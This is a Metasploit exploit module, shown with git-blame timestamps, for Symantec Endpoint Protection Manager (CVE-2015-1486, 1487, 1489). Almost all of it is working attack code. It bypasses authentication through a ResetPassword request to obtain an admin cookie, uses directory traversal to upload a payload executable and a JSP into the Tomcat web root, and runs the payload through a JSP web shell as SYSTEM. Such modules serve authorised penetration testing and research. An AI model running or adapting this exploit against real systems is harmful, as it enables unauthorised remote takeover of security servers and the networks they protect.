2015-08-01 21:40:03 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2015-08-02 21:36:41 +00:00
|
|
|
class Metasploit4 < Msf::Exploit::Remote
|
2015-08-01 21:40:03 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
2015-08-14 22:00:27 +00:00
|
|
|
include Msf::Exploit::FileDropper
|
2015-08-01 21:40:03 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
2015-08-14 22:00:27 +00:00
|
|
|
'Name' => 'Symantec Endpoint Protection Manager Authentication Bypass and Code Execution',
|
2015-08-01 21:40:03 +00:00
|
|
|
'Description' => %q{
|
2015-08-14 22:00:27 +00:00
|
|
|
This module exploits three separate vulnerabilities in Symantec Endpoint Protection Manager
|
2015-08-14 22:03:21 +00:00
|
|
|
in order to achieve a remote shell on the box as NT AUTHORITY\SYSTEM. The vulnerabilities
|
|
|
|
include an authentication bypass, a directory traversal and a privilege escalation to
|
|
|
|
get privileged code execution.
|
2015-08-01 21:40:03 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
2015-08-14 22:00:27 +00:00
|
|
|
'Markus Wulftange', #discovery
|
|
|
|
'bperry' # metasploit module
|
2015-08-01 21:40:03 +00:00
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2015-1486'],
|
|
|
|
['CVE', '2015-1487'],
|
2015-08-02 13:31:03 +00:00
|
|
|
['CVE', '2015-1489'],
|
2015-08-01 21:40:03 +00:00
|
|
|
['URL', 'http://codewhitesec.blogspot.com/2015/07/symantec-endpoint-protection.html']
|
|
|
|
],
|
2015-08-02 13:59:36 +00:00
|
|
|
'DefaultOptions' => {
|
|
|
|
'SSL' => true
|
|
|
|
},
|
2015-08-01 21:40:03 +00:00
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2015-08-14 22:00:27 +00:00
|
|
|
[ 'Automatic',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Payload' => {
|
|
|
|
'DisableNops' => true
|
|
|
|
}
|
2015-08-01 21:40:03 +00:00
|
|
|
}
|
2015-08-14 22:00:27 +00:00
|
|
|
],
|
2015-08-01 21:40:03 +00:00
|
|
|
],
|
2015-08-02 13:31:03 +00:00
|
|
|
'Privileged' => true,
|
2015-08-01 21:40:03 +00:00
|
|
|
'DisclosureDate' => 'Jul 31 2015',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2015-08-02 13:59:36 +00:00
|
|
|
Opt::RPORT(8443),
|
2015-08-01 21:40:03 +00:00
|
|
|
OptString.new('TARGETURI', [true, 'The path of the web application', '/']),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2015-08-01 21:50:06 +00:00
|
|
|
meterp = Rex::Text.rand_text_alpha(10)
|
|
|
|
jsp = Rex::Text.rand_text_alpha(10)
|
|
|
|
|
2015-08-14 22:00:27 +00:00
|
|
|
print_status("#{peer} - Getting cookie...")
|
2015-08-02 20:03:59 +00:00
|
|
|
|
2015-08-01 21:40:03 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),
|
|
|
|
'method' => 'POST',
|
|
|
|
'vars_post' => {
|
|
|
|
'ActionType' => 'ResetPassword',
|
|
|
|
'UserID' => 'admin',
|
|
|
|
'Domain' => ''
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
2015-08-14 22:00:27 +00:00
|
|
|
unless res && res.code == 200
|
|
|
|
fail_with(Failure::Unknown, "#{peer} - The server did not respond in an expected way")
|
2015-08-01 22:58:41 +00:00
|
|
|
end
|
|
|
|
|
2015-08-01 21:40:03 +00:00
|
|
|
cookie = res.get_cookies
|
|
|
|
|
2015-08-14 22:00:27 +00:00
|
|
|
if cookie.nil? || cookie.empty?
|
|
|
|
fail_with(Failure::Unknown, "#{peer} - The server did not return a cookie")
|
2015-08-02 20:22:40 +00:00
|
|
|
end
|
|
|
|
|
2015-08-02 13:31:03 +00:00
|
|
|
exec = %Q{<%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%>
|
|
|
|
<%=SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\#{meterp}.exe")) %>
|
|
|
|
}
|
2015-08-01 21:40:03 +00:00
|
|
|
|
2015-08-14 22:00:27 +00:00
|
|
|
print_status("#{peer} - Uploading payload...")
|
2015-08-02 23:25:17 +00:00
|
|
|
res = send_request_cgi({
|
2015-08-01 21:40:03 +00:00
|
|
|
'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),
|
|
|
|
'method' => 'POST',
|
|
|
|
'vars_get' => {
|
|
|
|
'ActionType' => 'BinaryFile',
|
|
|
|
'Action' => 'UploadPackage',
|
2015-08-01 21:50:06 +00:00
|
|
|
'PackageFile' => "../../../tomcat/webapps/ROOT/#{meterp}.exe",
|
2015-08-01 21:40:03 +00:00
|
|
|
'KnownHosts' => '.'
|
|
|
|
},
|
|
|
|
'data' => payload.encoded_exe,
|
|
|
|
'cookie' => cookie,
|
|
|
|
'ctype' => ''
|
|
|
|
})
|
|
|
|
|
2015-08-02 23:25:17 +00:00
|
|
|
unless res && res.code == 200
|
2015-08-14 22:00:27 +00:00
|
|
|
fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way")
|
2015-08-02 23:25:17 +00:00
|
|
|
end
|
|
|
|
|
2015-08-14 22:00:27 +00:00
|
|
|
register_file_for_cleanup("../tomcat/webapps/ROOT/#{meterp}.exe")
|
|
|
|
|
|
|
|
print_status("#{peer} - Uploading JSP page to execute the payload...")
|
2015-08-02 23:25:17 +00:00
|
|
|
res = send_request_cgi({
|
2015-08-01 21:40:03 +00:00
|
|
|
'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),
|
|
|
|
'method' => 'POST',
|
|
|
|
'vars_get' => {
|
|
|
|
'ActionType' => 'BinaryFile',
|
|
|
|
'Action' => 'UploadPackage',
|
2015-08-01 21:50:06 +00:00
|
|
|
'PackageFile' => "../../../tomcat/webapps/ROOT/#{jsp}.jsp",
|
2015-08-01 21:40:03 +00:00
|
|
|
'KnownHosts' => '.'
|
|
|
|
},
|
|
|
|
'data' => exec,
|
|
|
|
'cookie' => cookie,
|
|
|
|
'ctype' => ''
|
|
|
|
})
|
|
|
|
|
2015-08-02 23:25:17 +00:00
|
|
|
unless res && res.code == 200
|
2015-08-14 22:00:27 +00:00
|
|
|
fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way")
|
2015-08-02 23:25:17 +00:00
|
|
|
end
|
|
|
|
|
2015-08-14 22:00:27 +00:00
|
|
|
register_file_for_cleanup("../tomcat/webapps/ROOT/#{jsp}.jsp")
|
|
|
|
|
|
|
|
print_status("#{peer} - Executing payload. Manual cleanup will be required.")
|
2015-08-01 23:00:35 +00:00
|
|
|
send_request_cgi({
|
2015-08-01 21:50:06 +00:00
|
|
|
'uri' => normalize_uri(target_uri.path, "#{jsp}.jsp")
|
2015-08-14 22:00:27 +00:00
|
|
|
}, 5)
|
2015-08-01 21:40:03 +00:00
|
|
|
end
|
|
|
|
end
|